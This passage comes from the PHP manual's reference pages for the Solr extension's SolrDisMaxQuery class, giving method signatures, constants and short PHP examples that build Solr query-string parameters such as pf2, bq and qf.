public SolrQuery::addHighlightField ( string $field ) : SolrQuery
public SolrQuery::addMltField ( string $field ) : SolrQuery
public SolrQuery::addMltQueryField ( string $field , float $boost ) : SolrQuery
public SolrQuery::addSortField ( string $field , int $order = SolrQuery::ORDER_DESC ) : SolrQuery
public SolrQuery::addStatsFacet ( string $field ) : SolrQuery
public SolrQuery::addStatsField ( string $field ) : SolrQuery
public SolrQuery::collapse ( SolrCollapseFunction $collapseFunction ) : SolrQuery
public SolrQuery::__construct ( string $q = ? )
public SolrQuery::__destruct ( ) : void
public SolrQuery::getExpand ( ) : bool
public SolrQuery::getExpandFilterQueries ( ) : array
public SolrQuery::getExpandQuery ( ) : array
public SolrQuery::getExpandRows ( ) : int
public SolrQuery::getExpandSortFields ( ) : array
public SolrQuery::getFacet ( ) : bool
public SolrQuery::getFacetDateEnd ( string $field_override = ? ) : string
public SolrQuery::getFacetDateFields ( ) : array
public SolrQuery::getFacetDateGap ( string $field_override = ? ) : string
public SolrQuery::getFacetDateHardEnd ( string $field_override = ? ) : string
public SolrQuery::getFacetDateOther ( string $field_override = ? ) : array
public SolrQuery::getFacetDateStart ( string $field_override = ? ) : string
public SolrQuery::getFacetFields ( ) : array
public SolrQuery::getFacetLimit ( string $field_override = ? ) : int
public SolrQuery::getFacetMethod ( string $field_override = ? ) : string
public SolrQuery::getFacetMinCount ( string $field_override = ? ) : int
public SolrQuery::getFacetMissing ( string $field_override = ? ) : bool
public SolrQuery::getFacetOffset ( string $field_override = ? ) : int
public SolrQuery::getFacetPrefix ( string $field_override = ? ) : string
public SolrQuery::getFacetQueries ( ) : array
public SolrQuery::getFacetSort ( string $field_override = ? ) : int
public SolrQuery::getFields ( ) : array
public SolrQuery::getFilterQueries ( ) : array
public SolrQuery::getGroup ( ) : bool
public SolrQuery::getGroupCachePercent ( ) : int
public SolrQuery::getGroupFacet ( ) : bool
public SolrQuery::getGroupFields ( ) : array
public SolrQuery::getGroupFormat ( ) : string
public SolrQuery::getGroupFunctions ( ) : array
public SolrQuery::getGroupLimit ( ) : int
public SolrQuery::getGroupMain ( ) : bool
public SolrQuery::getGroupNGroups ( ) : bool
public SolrQuery::getGroupOffset ( ) : int
public SolrQuery::getGroupQueries ( ) : array
public SolrQuery::getGroupSortFields ( ) : array
public SolrQuery::getGroupTruncate ( ) : bool
public SolrQuery::getHighlight ( ) : bool
public SolrQuery::getHighlightAlternateField ( string $field_override = ? ) : string
public SolrQuery::getHighlightFields ( ) : array
public SolrQuery::getHighlightFormatter ( string $field_override = ? ) : string
public SolrQuery::getHighlightFragmenter ( string $field_override = ? ) : string
public SolrQuery::getHighlightFragsize ( string $field_override = ? ) : int
public SolrQuery::getHighlightHighlightMultiTerm ( ) : bool
public SolrQuery::getHighlightMaxAlternateFieldLength ( string $field_override = ? ) : int
public SolrQuery::getHighlightMaxAnalyzedChars ( ) : int
public SolrQuery::getHighlightMergeContiguous ( string $field_override = ? ) : bool
public SolrQuery::getHighlightRegexMaxAnalyzedChars ( ) : int
public SolrQuery::getHighlightRegexPattern ( ) : string
public SolrQuery::getHighlightRegexSlop ( ) : float
public SolrQuery::getHighlightRequireFieldMatch ( ) : bool
public SolrQuery::getHighlightSimplePost ( string $field_override = ? ) : string
public SolrQuery::getHighlightSimplePre ( string $field_override = ? ) : string
public SolrQuery::getHighlightSnippets ( string $field_override = ? ) : int
public SolrQuery::getHighlightUsePhraseHighlighter ( ) : bool
public SolrQuery::getMlt ( ) : bool
public SolrQuery::getMltBoost ( ) : bool
public SolrQuery::getMltCount ( ) : int
public SolrQuery::getMltFields ( ) : array
public SolrQuery::getMltMaxNumQueryTerms ( ) : int
public SolrQuery::getMltMaxNumTokens ( ) : int
public SolrQuery::getMltMaxWordLength ( ) : int
public SolrQuery::getMltMinDocFrequency ( ) : int
public SolrQuery::getMltMinTermFrequency ( ) : int
public SolrQuery::getMltMinWordLength ( ) : int
public SolrQuery::getMltQueryFields ( ) : array
public SolrQuery::getQuery ( ) : string
public SolrQuery::getRows ( ) : int
public SolrQuery::getSortFields ( ) : array
public SolrQuery::getStart ( ) : int
public SolrQuery::getStats ( ) : bool
public SolrQuery::getStatsFacets ( ) : array
public SolrQuery::getStatsFields ( ) : array
public SolrQuery::getTerms ( ) : bool
public SolrQuery::getTermsField ( ) : string
public SolrQuery::getTermsIncludeLowerBound ( ) : bool
public SolrQuery::getTermsIncludeUpperBound ( ) : bool
public SolrQuery::getTermsLimit ( ) : int
public SolrQuery::getTermsLowerBound ( ) : string
public SolrQuery::getTermsMaxCount ( ) : int
public SolrQuery::getTermsMinCount ( ) : int
public SolrQuery::getTermsPrefix ( ) : string
public SolrQuery::getTermsReturnRaw ( ) : bool
public SolrQuery::getTermsSort ( ) : int
public SolrQuery::getTermsUpperBound ( ) : string
public SolrQuery::getTimeAllowed ( ) : int
public SolrQuery::removeExpandFilterQuery ( string $fq ) : SolrQuery
public SolrQuery::removeExpandSortField ( string $field ) : SolrQuery
public SolrQuery::removeFacetDateField ( string $field ) : SolrQuery
public SolrQuery::removeFacetDateOther ( string $value , string $field_override = ? ) : SolrQuery
public SolrQuery::removeFacetField ( string $field ) : SolrQuery
public SolrQuery::removeFacetQuery ( string $value ) : SolrQuery
public SolrQuery::removeField ( string $field ) : SolrQuery
public SolrQuery::removeFilterQuery ( string $fq ) : SolrQuery
public SolrQuery::removeHighlightField ( string $field ) : SolrQuery
public SolrQuery::removeMltField ( string $field ) : SolrQuery
public SolrQuery::removeMltQueryField ( string $queryField ) : SolrQuery
public SolrQuery::removeSortField ( string $field ) : SolrQuery
public SolrQuery::removeStatsFacet ( string $value ) : SolrQuery
public SolrQuery::removeStatsField ( string $field ) : SolrQuery
public SolrQuery::setEchoHandler ( bool $flag ) : SolrQuery
public SolrQuery::setEchoParams ( string $type ) : SolrQuery
public SolrQuery::setExpand ( bool $value ) : SolrQuery
public SolrQuery::setExpandQuery ( string $q ) : SolrQuery
public SolrQuery::setExpandRows ( int $value ) : SolrQuery
public SolrQuery::setExplainOther ( string $query ) : SolrQuery
public SolrQuery::setFacet ( bool $flag ) : SolrQuery
public SolrQuery::setFacetDateEnd ( string $value , string $field_override = ? ) : SolrQuery
public SolrQuery::setFacetDateGap ( string $value , string $field_override = ? ) : SolrQuery
public SolrQuery::setFacetDateHardEnd ( bool $value , string $field_override = ? ) : SolrQuery
public SolrQuery::setFacetDateStart ( string $value , string $field_override = ? ) : SolrQuery
public SolrQuery::setFacetEnumCacheMinDefaultFrequency ( int $frequency , string $field_override = ? ) : SolrQuery
public SolrQuery::setFacetLimit ( int $limit , string $field_override = ? ) : SolrQuery
public SolrQuery::setFacetMethod ( string $method , string $field_override = ? ) : SolrQuery
public SolrQuery::setFacetMinCount ( int $mincount , string $field_override = ? ) : SolrQuery
public SolrQuery::setFacetMissing ( bool $flag , string $field_override = ? ) : SolrQuery
public SolrQuery::setFacetOffset ( int $offset , string $field_override = ? ) : SolrQuery
public SolrQuery::setFacetPrefix ( string $prefix , string $field_override = ? ) : SolrQuery
public SolrQuery::setFacetSort ( int $facetSort , string $field_override = ? ) : SolrQuery
public SolrQuery::setGroup ( bool $value ) : SolrQuery
public SolrQuery::setGroupCachePercent ( int $percent ) : SolrQuery
public SolrQuery::setGroupFacet ( bool $value ) : SolrQuery
public SolrQuery::setGroupFormat ( string $value ) : SolrQuery
public SolrQuery::setGroupLimit ( int $value ) : SolrQuery
public SolrQuery::setGroupMain ( string $value ) : SolrQuery
public SolrQuery::setGroupNGroups ( bool $value ) : SolrQuery
public SolrQuery::setGroupOffset ( int $value ) : SolrQuery
public SolrQuery::setGroupTruncate ( bool $value ) : SolrQuery
public SolrQuery::setHighlight ( bool $flag ) : SolrQuery
public SolrQuery::setHighlightAlternateField ( string $field , string $field_override = ? ) : SolrQuery
public SolrQuery::setHighlightFormatter ( string $formatter , string $field_override = ? ) : SolrQuery
public SolrQuery::setHighlightFragmenter ( string $fragmenter , string $field_override = ? ) : SolrQuery
public SolrQuery::setHighlightFragsize ( int $size , string $field_override = ? ) : SolrQuery
public SolrQuery::setHighlightHighlightMultiTerm ( bool $flag ) : SolrQuery
public SolrQuery::setHighlightMaxAlternateFieldLength ( int $fieldLength , string $field_override = ? ) : SolrQuery
public SolrQuery::setHighlightMaxAnalyzedChars ( int $value ) : SolrQuery
public SolrQuery::setHighlightMergeContiguous ( bool $flag , string $field_override = ? ) : SolrQuery
public SolrQuery::setHighlightRegexMaxAnalyzedChars ( int $maxAnalyzedChars ) : SolrQuery
public SolrQuery::setHighlightRegexPattern ( string $value ) : SolrQuery
public SolrQuery::setHighlightRegexSlop ( float $factor ) : SolrQuery
public SolrQuery::setHighlightRequireFieldMatch ( bool $flag ) : SolrQuery
public SolrQuery::setHighlightSimplePost ( string $simplePost , string $field_override = ? ) : SolrQuery
public SolrQuery::setHighlightSimplePre ( string $simplePre , string $field_override = ? ) : SolrQuery
public SolrQuery::setHighlightSnippets ( int $value , string $field_override = ? ) : SolrQuery
public SolrQuery::setHighlightUsePhraseHighlighter ( bool $flag ) : SolrQuery
public SolrQuery::setMlt ( bool $flag ) : SolrQuery
public SolrQuery::setMltBoost ( bool $flag ) : SolrQuery
public SolrQuery::setMltCount ( int $count ) : SolrQuery
public SolrQuery::setMltMaxNumQueryTerms ( int $value ) : SolrQuery
public SolrQuery::setMltMaxNumTokens ( int $value ) : SolrQuery
public SolrQuery::setMltMaxWordLength ( int $maxWordLength ) : SolrQuery
public SolrQuery::setMltMinDocFrequency ( int $minDocFrequency ) : SolrQuery
public SolrQuery::setMltMinTermFrequency ( int $minTermFrequency ) : SolrQuery
public SolrQuery::setMltMinWordLength ( int $minWordLength ) : SolrQuery
public SolrQuery::setOmitHeader ( bool $flag ) : SolrQuery
public SolrQuery::setQuery ( string $query ) : SolrQuery
public SolrQuery::setRows ( int $rows ) : SolrQuery
public SolrQuery::setShowDebugInfo ( bool $flag ) : SolrQuery
public SolrQuery::setStart ( int $start ) : SolrQuery
public SolrQuery::setStats ( bool $flag ) : SolrQuery
public SolrQuery::setTerms ( bool $flag ) : SolrQuery
public SolrQuery::setTermsField ( string $fieldname ) : SolrQuery
public SolrQuery::setTermsIncludeLowerBound ( bool $flag ) : SolrQuery
public SolrQuery::setTermsIncludeUpperBound ( bool $flag ) : SolrQuery
public SolrQuery::setTermsLimit ( int $limit ) : SolrQuery
public SolrQuery::setTermsLowerBound ( string $lowerBound ) : SolrQuery
public SolrQuery::setTermsMaxCount ( int $frequency ) : SolrQuery
public SolrQuery::setTermsMinCount ( int $frequency ) : SolrQuery
public SolrQuery::setTermsPrefix ( string $prefix ) : SolrQuery
public SolrQuery::setTermsReturnRaw ( bool $flag ) : SolrQuery
public SolrQuery::setTermsSort ( int $sortType ) : SolrQuery
public SolrQuery::setTermsUpperBound ( string $upperBound ) : SolrQuery
public SolrQuery::setTimeAllowed ( int $timeAllowed ) : SolrQuery
}

定義済み定数

SolrDisMaxQuery::ORDER_ASC

Used to specify that the sorting should be in acending order (Duplicated for easier migration)

SolrDisMaxQuery::ORDER_DESC

Used to specify that the sorting should be in descending order (Duplicated for easier migration)

SolrDisMaxQuery::FACET_SORT_INDEX

Used to specify that the facet should sort by index (Duplicated for easier migration)

SolrDisMaxQuery::FACET_SORT_COUNT

Used to specify that the facet should sort by count (Duplicated for easier migration)

SolrDisMaxQuery::TERMS_SORT_INDEX

Used in the TermsComponent (Duplicated for easier migration)

SolrDisMaxQuery::TERMS_SORT_COUNT

Used in the TermsComponent (Duplicated for easier migration)

目次

  • SolrDisMaxQuery::addBigramPhraseField — Adds a Phrase Bigram Field (pf2 parameter)
  • SolrDisMaxQuery::addBoostQuery — Adds a boost query field with value and optional boost (bq parameter)
  • SolrDisMaxQuery::addPhraseField — Adds a Phrase Field (pf parameter)
  • SolrDisMaxQuery::addQueryField — Add a query field with optional boost (qf parameter)
  • SolrDisMaxQuery::addTrigramPhraseField — Adds a Trigram Phrase Field (pf3 parameter)
  • SolrDisMaxQuery::addUserField — Adds a field to User Fields Parameter (uf)
  • SolrDisMaxQuery::__construct — Class Constructor
  • SolrDisMaxQuery::removeBigramPhraseField — Removes phrase bigram field (pf2 parameter)
  • SolrDisMaxQuery::removeBoostQuery — Removes a boost query partial by field name (bq)
  • SolrDisMaxQuery::removePhraseField — Removes a Phrase Field (pf parameter)
  • SolrDisMaxQuery::removeQueryField — Removes a Query Field (qf parameter)
  • SolrDisMaxQuery::removeTrigramPhraseField — Removes a Trigram Phrase Field (pf3 parameter)
  • SolrDisMaxQuery::removeUserField — Removes a field from The User Fields Parameter (uf)
  • SolrDisMaxQuery::setBigramPhraseFields — Sets Bigram Phrase Fields and their boosts (and slops) using pf2 parameter
  • SolrDisMaxQuery::setBigramPhraseSlop — Sets Bigram Phrase Slop (ps2 parameter)
  • SolrDisMaxQuery::setBoostFunction — Sets a Boost Function (bf parameter)
  • SolrDisMaxQuery::setBoostQuery — Directly Sets Boost Query Parameter (bq)
  • SolrDisMaxQuery::setMinimumMatch — Set Minimum "Should" Match (mm)
  • SolrDisMaxQuery::setPhraseFields — Sets Phrase Fields and their boosts (and slops) using pf2 parameter
  • SolrDisMaxQuery::setPhraseSlop — Sets the default slop on phrase queries (ps parameter)
  • SolrDisMaxQuery::setQueryAlt — Set Query Alternate (q.alt parameter)
  • SolrDisMaxQuery::setQueryPhraseSlop — Specifies the amount of slop permitted on phrase queries explicitly included in the user's query string (qf parameter)
  • SolrDisMaxQuery::setTieBreaker — Sets Tie Breaker parameter (tie parameter)
  • SolrDisMaxQuery::setTrigramPhraseFields — Directly Sets Trigram Phrase Fields (pf3 parameter)
  • SolrDisMaxQuery::setTrigramPhraseSlop — Sets Trigram Phrase Slop (ps3 parameter)
  • SolrDisMaxQuery::setUserFields — Sets User Fields parameter (uf)
  • SolrDisMaxQuery::useDisMaxQueryParser — Switch QueryParser to be DisMax Query Parser
  • SolrDisMaxQuery::useEDisMaxQueryParser — Switch QueryParser to be EDisMax

User Contributed Notes

There are no user contributed notes for this page.


Adds a Phrase Bigram Field (pf2 parameter)

  • ≪ SolrDisMaxQuery
  • SolrDisMaxQuery::addBoostQuery ≫
  • PHP Manual
  • SolrDisMaxQuery
  • Adds a Phrase Bigram Field (pf2 parameter)

SolrDisMaxQuery::addBigramPhraseField

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

SolrDisMaxQuery::addBigramPhraseField — Adds a Phrase Bigram Field (pf2 parameter)

説明

public SolrDisMaxQuery::addBigramPhraseField ( string $field , string $boost , string $slop = ? ) : SolrDisMaxQuery

Adds a Phrase Bigram Field (pf2 parameter) output format: field~slop^boost OR field^boost Slop is optional

パラメータ

field

boost

slop

返り値

SolrDisMaxQuery

例

例1 SolrDisMaxQuery::addBigramPhraseField() example

<?php

$dismaxQuery = new SolrDisMaxQuery("lucene");
$dismaxQuery
    ->addBigramPhraseField('cat', 2, 5.1)
    ->addBigramPhraseField('feature', 4.5)
;
echo $dismaxQuery;

?>

上の例の出力は、 たとえば以下のようになります。

q=lucene&defType=edismax&pf2=cat~5.1^2 feature^4.5

参考

  • SolrDisMaxQuery::removeBigramPhraseField() - Removes phrase bigram field (pf2 parameter)
  • SolrDisMaxQuery::setBigramPhraseFields() - Sets Bigram Phrase Fields and their boosts (and slops) using pf2 parameter
  • SolrDisMaxQuery::setBigramPhraseSlop() - Sets Bigram Phrase Slop (ps2 parameter)

User Contributed Notes

There are no user contributed notes for this page.


Adds a boost query field with value and optional boost (bq parameter)

  • ≪ SolrDisMaxQuery::addBigramPhraseField
  • SolrDisMaxQuery::addPhraseField ≫
  • PHP Manual
  • SolrDisMaxQuery
  • Adds a boost query field with value and optional boost (bq parameter)

SolrDisMaxQuery::addBoostQuery

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

SolrDisMaxQuery::addBoostQuery — Adds a boost query field with value and optional boost (bq parameter)

説明

public SolrDisMaxQuery::addBoostQuery ( string $field , string $value , string $boost = ? ) : SolrDisMaxQuery

Adds a Boost Query field with value [and boost] (bq parameter)

パラメータ

field

value

boost

返り値

SolrDisMaxQuery

例

例1 SolrDisMaxQuery::addBoostQuery() example

<?php

$dismaxQuery = new SolrDisMaxQuery("lucene");
$dismaxQuery
    ->addBoostQuery('cat', 'clothing', 2)
    ->addBoostQuery('cat', 'electronics', 5.1)
;
echo $dismaxQuery.PHP_EOL;
?>

上の例の出力は、 たとえば以下のようになります。

q=lucene&defType=edismax&bq=cat:clothing^2 cat:electronics^5.1

参考

  • SolrDisMaxQuery::removeBoostQuery() - Removes a boost query partial by field name (bq)
  • SolrDisMaxQuery::setBoostQuery() - Directly Sets Boost Query Parameter (bq)

User Contributed Notes

There are no user contributed notes for this page.


Adds a Phrase Field (pf parameter)

  • ≪ SolrDisMaxQuery::addBoostQuery
  • SolrDisMaxQuery::addQueryField ≫
  • PHP Manual
  • SolrDisMaxQuery
  • Adds a Phrase Field (pf parameter)

SolrDisMaxQuery::addPhraseField

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

SolrDisMaxQuery::addPhraseField — Adds a Phrase Field (pf parameter)

説明

public SolrDisMaxQuery::addPhraseField ( string $field , string $boost , string $slop = ? ) : SolrDisMaxQuery

Adds a Phrase Field (pf parameter)

パラメータ

field

field name

boost

slop

返り値

SolrDisMaxQuery

例

例1 SolrDisMaxQuery::addPhraseField() example

<?php
$dismaxQuery = new SolrDisMaxQuery("lucene");
$dismaxQuery
    ->addPhraseField('cat', 3, 1)
    ->addPhraseField('third', 4, 2)
    ->addPhraseField('source', 55)
;
echo $dismaxQuery;
?>

上の例の出力は、 たとえば以下のようになります。

q=lucene&defType=edismax&pf=cat~1^3 third~2^4 source^55

参考

  • SolrDisMaxQuery::removePhraseField() - Removes a Phrase Field (pf parameter)
  • SolrDisMaxQuery::setPhraseFields() - Sets Phrase Fields and their boosts (and slops) using pf2 parameter

User Contributed Notes

There are no user contributed notes for this page.


Add a query field with optional boost (qf parameter)

  • ≪ SolrDisMaxQuery::addPhraseField
  • SolrDisMaxQuery::addTrigramPhraseField ≫
  • PHP Manual
  • SolrDisMaxQuery
  • Add a query field with optional boost (qf parameter)

SolrDisMaxQuery::addQueryField

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

SolrDisMaxQuery::addQueryField — Add a query field with optional boost (qf parameter)

説明

public SolrDisMaxQuery::addQueryField ( string $field , string $boost = ? ) : SolrDisMaxQuery

Add a query field with optional boost (qf parameter)

パラメータ

field

field name

boost

Boost value. Boosts documents with matching terms.

返り値

SolrDisMaxQuery

例

例1 SolrDisMaxQuery::addQueryField() example

<?php

$dismaxQuery = new SolrDisMaxQuery("lucene");
$dismaxQuery
    ->addQueryField("location", 4)
    ->addQueryField("price")
    ->addQueryField("sku")
    ->addQueryField("title",3.4)
;
echo $dismaxQuery;

?>

上の例の出力は、 たとえば以下のようになります。

q=lucene&defType=edismax&qf=location^4 price sku title^3.4

参考

  • SolrDisMaxQuery::removeQueryField() - Removes a Query Field (qf parameter)

User Contributed Notes

There are no user contributed notes for this page.


Adds a Trigram Phrase Field (pf3 parameter)

  • ≪ SolrDisMaxQuery::addQueryField
  • SolrDisMaxQuery::addUserField ≫
  • PHP Manual
  • SolrDisMaxQuery
  • Adds a Trigram Phrase Field (pf3 parameter)

SolrDisMaxQuery::addTrigramPhraseField

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

SolrDisMaxQuery::addTrigramPhraseField — Adds a Trigram Phrase Field (pf3 parameter)

説明

public SolrDisMaxQuery::addTrigramPhraseField ( string $field , string $boost , string $slop = ? ) : SolrDisMaxQuery

Adds a Trigram Phrase Field (pf3 parameter)

パラメータ

field

Field Name

boost

Field Boost

slop

Field Slop

返り値

SolrDisMaxQuery

例

例1 SolrDisMaxQuery::addTrigramPhraseField() example

<?php

$dismaxQuery = new SolrDisMaxQuery('lucene');
$dismaxQuery
->addTrigramPhraseField('cat', 2, 5.1)
->addTrigramPhraseField('feature', 4.5)
;
echo $dismaxQuery.PHP_EOL;

?>

上の例の出力は以下となります。

q=lucene&defType=%s&pf3=cat~5.1^2 feature^4.5

参考

  • SolrDisMaxQuery::removeTrigramPhraseField() - Removes a Trigram Phrase Field (pf3 parameter)
  • SolrDisMaxQuery::setTrigramPhraseFields() - Directly Sets Trigram Phrase Fields (pf3 parameter)
  • SolrDisMaxQuery::setTrigramPhraseSlop() - Sets Trigram Phrase Slop (ps3 parameter)

User Contributed Notes

There are no user contributed notes for this page.


Adds a field to User Fields Parameter (uf)

  • ≪ SolrDisMaxQuery::addTrigramPhraseField
  • SolrDisMaxQuery::__construct ≫
  • PHP Manual
  • SolrDisMaxQuery
  • Adds a field to User Fields Parameter (uf)

SolrDisMaxQuery::addUserField

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

SolrDisMaxQuery::addUserField — Adds a field to User Fields Parameter (uf)

説明

public SolrDisMaxQuery::addUserField ( string $field ) : SolrDisMaxQuery

Adds a field to The User Fields Parameter (uf)

パラメータ

field

Field Name

返り値

SolrDisMaxQuery

例

例1 SolrDisMaxQuery::addUserField() example

<?php

$dismaxQuery = new SolrDisMaxQuery('lucene');
$dismaxQuery
->addUserField('cat')
->addUserField('text')
->addUserField('*_dt');

echo $dismaxQuery.PHP_EOL;

?>

上の例の出力は、 たとえば以下のようになります。

q=lucene&defType=edismax&uf=cat text *_dt

参考

  • SolrDisMaxQuery::removeUserField() - Removes a field from The User Fields Parameter (uf)
  • SolrDisMaxQuery::setUserFields() - Sets User Fields parameter (uf)

User Contributed Notes

There are no user contributed notes for this page.


Class Constructor

  • ≪ SolrDisMaxQuery::addUserField
  • SolrDisMaxQuery::removeBigramPhraseField ≫
  • PHP Manual
  • SolrDisMaxQuery
  • Class Constructor

SolrDisMaxQuery::__construct

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

SolrDisMaxQuery::__construct — Class Constructor

説明

public SolrDisMaxQuery::__construct ( string $q = ? )

Class constructor initializes the object and sets the q parameter if passed

パラメータ

q

Search Query (q parameter)

返り値

エラー / 例外

Emits SolrIllegalArgumentException in case of an invalid parameter was passed.

例

例1 SolrDisMaxQuery::__construct() example

<?php

$dismaxQuery = new SolrDisMaxQuery('lucene');
echo $dismaxQuery;

?>

上の例の出力は以下となります。

q=lucene&defType=edismax

参考

User Contributed Notes

There are no user contributed notes for this page.


Removes phrase bigram field (pf2 parameter)

  • ≪ SolrDisMaxQuery::__construct
  • SolrDisMaxQuery::removeBoostQuery ≫
  • PHP Manual
  • SolrDisMaxQuery
  • Removes phrase bigram field (pf2 parameter)

SolrDisMaxQuery::removeBigramPhraseField

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

SolrDisMaxQuery::removeBigramPhraseField — Removes phrase bigram field (pf2 parameter)

説明

public SolrDisMaxQuery::removeBigramPhraseField ( string $field ) : SolrDisMaxQuery

Removes a Bigram Phrase Field (pf2 parameter) that was previously added using SolrDisMaxQuery::addBigramPhraseField()

パラメータ

field

The Field Name

返り値

SolrDisMaxQuery

例

例1 SolrDisMaxQuery::removeBigramPhraseField() example

<?php

$dismaxQuery = new SolrDisMaxQuery("lucene");
$dismaxQuery
    ->addBigramPhraseField('cat', 2, 5.1)
    ->addBigramPhraseField('feature', 4.5)
;
echo $dismaxQuery.PHP_EOL;

// remove cat from pf2
$dismaxQuery
    ->removeBigramPhraseField('cat');
echo $dismaxQuery.PHP_EOL;

?>

上の例の出力は、 たとえば以下のようになります。

q=lucene&defType=edismax&pf2=cat~5.1^2 feature^4.5
q=lucene&defType=edismax&pf2=feature^4.5

参考

  • SolrDisMaxQuery::addBigramPhraseField() - Adds a Phrase Bigram Field (pf2 parameter)
  • SolrDisMaxQuery::setBigramPhraseFields() - Sets Bigram Phrase Fields and their boosts (and slops) using pf2 parameter
  • SolrDisMaxQuery::setBigramPhraseSlop() - Sets Bigram Phrase Slop (ps2 parameter)

User Contributed Notes

There are no user contributed notes for this page.


Removes a boost query partial by field name (bq)

  • ≪ SolrDisMaxQuery::removeBigramPhraseField
  • SolrDisMaxQuery::removePhraseField ≫
  • PHP Manual
  • SolrDisMaxQuery
  • Removes a boost query partial by field name (bq)

SolrDisMaxQuery::removeBoostQuery

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

SolrDisMaxQuery::removeBoostQuery — Removes a boost query partial by field name (bq)

説明

public SolrDisMaxQuery::removeBoostQuery ( string $field ) : SolrDisMaxQuery

Removes a boost query partial from the existing query, only if SolrDisMaxQuery::addBoostQuery() was used.

パラメータ

field

Field Name

返り値

SolrDisMaxQuery

例

例1 SolrDisMaxQuery::removeBoostQuery() example

<?php

$dismaxQuery = new SolrDisMaxQuery("lucene");
$dismaxQuery
    ->addBoostQuery('cat', 'electronics', 5.1)
    ->addBoostQuery('cat', 'hard drive')
;
echo $dismaxQuery.PHP_EOL;
// now remove a query part with field 'cat'
$dismaxQuery
->removeBoostQuery('cat');
echo $dismaxQuery . PHP_EOL;

?>

上の例の出力は、 たとえば以下のようになります。

q=lucene&defType=edismax&bq=cat:electronics^5.1 cat:hard drive
q=lucene&defType=edismax&bq=cat:hard drive

参考

  • SolrDisMaxQuery::addBoostQuery() - Adds a boost query field with value and optional boost (bq parameter)
  • SolrDisMaxQuery::setBoostQuery() - Directly Sets Boost Query Parameter (bq)

User Contributed Notes

There are no user contributed notes for this page.


Removes a Phrase Field (pf parameter)

  • ≪ SolrDisMaxQuery::removeBoostQuery
  • SolrDisMaxQuery::removeQueryField ≫
  • PHP Manual
  • SolrDisMaxQuery
  • Removes a Phrase Field (pf parameter)

SolrDisMaxQuery::removePhraseField

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

SolrDisMaxQuery::removePhraseField — Removes a Phrase Field (pf parameter)

説明

public SolrDisMaxQuery::removePhraseField ( string $field ) : SolrDisMaxQuery

Removes a Phrase Field (pf parameter) that was previously added using SolrDisMaxQuery::addPhraseField

パラメータ

field

Field Name

返り値

SolrDisMaxQuery

例

例1 SolrDisMaxQuery::removePhraseField() example

<?php
$dismaxQuery = new SolrDisMaxQuery('lucene');
$dismaxQuery
    ->addPhraseField('first', 3, 1)
    ->addPhraseField('second', 4, 1)
    ->addPhraseField('cat', 55);
echo $dismaxQuery . PHP_EOL;
echo $dismaxQuery->removePhraseField('second');
?>

上の例の出力は、 たとえば以下のようになります。

q=lucene&defType=edismax&pf=first~1^3 second~1^4 cat^55
q=lucene&defType=edismax&pf=first~1^3 cat^55

参考

  • SolrDisMaxQuery::addPhraseField() - Adds a Phrase Field (pf parameter)
  • SolrDisMaxQuery::setPhraseFields() - Sets Phrase Fields and their boosts (and slops) using pf2 parameter

User Contributed Notes

There are no user contributed notes for this page.


Removes a Query Field (qf parameter)

  • ≪ SolrDisMaxQuery::removePhraseField
  • SolrDisMaxQuery::removeTrigramPhraseField ≫
  • PHP Manual
  • SolrDisMaxQuery
  • Removes a Query Field (qf parameter)

SolrDisMaxQuery::removeQueryField

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

SolrDisMaxQuery::removeQueryField — Removes a Query Field (qf parameter)

説明

public SolrDisMaxQuery::removeQueryField ( string $field ) : SolrDisMaxQuery

Removes a Query Field (qf parameter) from the field list added by SolrDisMaxQuery::addQueryField()

qf: When building DisjunctionMaxQueries from the user's query it specifies the fields to search in, and boosts for those fields.

パラメータ

field

Field Name

返り値

SolrDisMaxQuery

例

例1 SolrDisMaxQuery::removeQueryField() example

<?php

$dismaxQuery = new SolrDisMaxQuery('lucene');
$dismaxQuery
    ->addQueryField('first', 3)
    ->addQueryField('second', 0.2)
    ->addQueryField('cat');
echo $dismaxQuery . PHP_EOL;
// remove field 'second'
echo $dismaxQuery->removeQueryField('second');
?>

上の例の出力は、 たとえば以下のようになります。

q=lucene&defType=edismax&qf=first^3 second^0.2 cat
q=lucene&defType=edismax&qf=first^3 cat

参考

  • SolrDisMaxQuery::addQueryField() - Add a query field with optional boost (qf parameter)

User Contributed Notes

There are no user contributed notes for this page.


Removes a Trigram Phrase Field (pf3 parameter)

  • ≪ SolrDisMaxQuery::removeQueryField
  • SolrDisMaxQuery::removeUserField ≫
  • PHP Manual
  • SolrDisMaxQuery
  • Removes a Trigram Phrase Field (pf3 parameter)

SolrDisMaxQuery::removeTrigramPhraseField

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

SolrDisMaxQuery::removeTrigramPhraseField — Removes a Trigram Phrase Field (pf3 parameter)

説明

public SolrDisMaxQuery::removeTrigramPhraseField ( string $field ) : SolrDisMaxQuery

Removes a Trigram Phrase Field (pf3 parameter)

パラメータ

field

Field Name

返り値

SolrDisMaxQuery

例

例1 SolrDisMaxQuery::removeTrigramPhraseField() example

<?php

$dismaxQuery = new SolrDisMaxQuery('lucene');
$dismaxQuery
->addTrigramPhraseField('cat', 2, 5.1)
->addTrigramPhraseField('feature', 4.5)
;
echo $dismaxQuery.PHP_EOL;
// reverse
$dismaxQuery
->removeTrigramPhraseField('cat');
echo $dismaxQuery.PHP_EOL;

?>

上の例の出力は以下となります。

q=lucene&defType=%s&pf3=cat~5.1^2 feature^4.5
q=lucene&defType=%s&pf3=feature^4.5

参考

  • SolrDisMaxQuery::addTrigramPhraseField() - Adds a Trigram Phrase Field (pf3 parameter)
  • SolrDisMaxQuery::setTrigramPhraseFields() - Directly Sets Trigram Phrase Fields (pf3 parameter)
  • SolrDisMaxQuery::setTrigramPhraseSlop() - Sets Trigram Phrase Slop (ps3 parameter)

User Contributed Notes

There are no user contributed notes for this page.


Removes a field from The User Fields Parameter (uf)

  • ≪ SolrDisMaxQuery::removeTrigramPhraseField
  • SolrDisMaxQuery::setBigramPhraseFields ≫
  • PHP Manual
  • SolrDisMaxQuery
  • Removes a field from The User Fields Parameter (uf)

